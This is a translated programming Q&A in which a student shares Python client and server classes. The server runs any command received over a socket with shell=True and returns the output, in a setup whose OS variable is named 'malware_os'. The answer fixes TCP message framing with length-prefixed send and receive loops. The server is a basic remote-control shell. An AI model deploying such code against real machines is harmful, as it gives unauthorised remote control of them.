【问题标题】:Python socket recv doesn't give good resultPython socket recv 没有给出好的结果
【发布时间】:2020-11-22 20:00:13
【问题描述】:

我正在尝试为我的 IT 课程构建一个程序。该程序的重​​点是让客户端应用程序向服务器发送命令。它似乎工作得很好,直到今天,经过几次调用,当我收到来自服务器的响应时,它不是最新的。

例如:我发送了一些都可以正常工作的命令。但随后发送另一个命令并接收前一个命令的响应。

我检查了客户端发送的命令,这是我键入的命令,在服务器部分,当我从客户端收到命令时,它是客户端实际发送的命令(不是前一个)

这是我用来发送和接收消息的 Shell 类(在服务器和客户端中)以及我如何使用它的示例。

服务器:

class Shell:
command = ""
next_command = True

def __init__(self, malware_os):
    self._os = malware_os
    self._response = ""

def receive(self):
    self.command = distant_socket.recv(4096).decode("utf-8")

def execute_command(self):
    if self.command[:2] == "cd":
        os.chdir(self.command[3:])
        if self._os == "Windows":
            self.result = Popen("cd", shell=True, stdout=PIPE)
        else:
            self.result = Popen("pwd", shell=True, stdout=PIPE)
    else:
        self.result = Popen(self.command, shell=True, stdout=PIPE)

    self._response = self.result.communicate()

def send(self):
    self._response = self._response[0]
    self._response = self._response.decode("utf-8", errors="ignore")
    self._response = self._response + " "
    self._response = self._response.encode("utf-8")
    distant_socket.send(self._response)
    self._response = None

在服务器中使用:

    shell.receive()
    shell.execute_command()
    shell.send()

客户:

class Shell:

    def __init__(self):
        self._history = []
        self._command = ""

    def send(self):
        self._history.append(self._command)
        s.send(self._command.encode("utf-8"))

    def receive(self):
        content = s.recv(4096).decode("utf-8", errors="ignore")
        if content[2:] == "cd":
            malware_os.chdir(self._command[3:].decode("utf-8", errors="ignore"))
        print(content)

    def history(self):
        print("The history of your commands is:")
        print("----------------------")
        for element in self._history:
            print(element)

    def get_command(self):
        return self._command

    def set_command(self, command):
        self._command = command

在客户端使用:

shell.set_command(getinfo.get_users())
shell.send()
shell.receive()

提前感谢您的帮助, 亲切地, 大脚野人

【问题讨论】:

  • 您没有正确的接收循环,并且看起来您没有可以工作的协议。我会为此寻找一个副本。

标签: python-3.x sockets networking


【解决方案1】:

既然你说响应不是最新的,我猜你使用了 TCP(你没有发布套接字创建)。就像提到的评论一样,有两件事你没有做对:

  1. 协议:TCP 为您提供一个流,该流按照操作系统认为适合的数据包进行划分。通过网络传输数据时,接收端必须知道何时完成传输。最简单的方法是在传输本身之前以固定格式(比如 4 个字节,大端)发送传输的长度。另外,使用 sendall。例如:
import struct
def send_message(sock, message_str):
    message_bytes = message_str.encode("utf-8")
    size_prefix = struct.pack("!I", len(message_bytes)) # I means 4 bytes integer in big endian
    sock.sendall(size_prefix)
    sock.sendall(message_bytes)
  1. 由于 TCP 是一个流套接字,接收端可能在接收到整个消息之前就从 recv 返回。您需要在循环中调用它,在每次迭代时检查返回值以正确处理断开连接。例如:
def recv_message_str(sock):
    #first, get the message size, assuming you used the send above
    size_buffer = b""
    while len(size_buffer) != 4:
        recv_ret = sock.recv(4 - len(size_buffer))
        if len(recv_ret) == 0:
            # The other side disconnected, do something (raise an exception or something)
            raise Exception("socket disconnected")
        size_buffer += recv_ret
    size = struct.unpack("!I", size_buffer)[0]
    
    # Loop again, for the message string
    message_buffer = b""
    while len(message_buffer) != size:
        recv_ret = sock.recv(size - len(message_buffer))
        if len(recv_ret) == 0:
            # The other side disconnected, do something (raise an exception or something)
            raise Exception("socket disconnected")
        message_buffer += recv_ret
    return message_buffer.decode("utf-8", errors="ignore")

【讨论】:

  • 非常感谢您,托默!这实际上救了我。
猜你喜欢
  • 2023-03-30
  • 2020-06-30
  • 2022-12-17
  • 2021-01-06
  • 2018-11-28
  • 2013-05-02
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多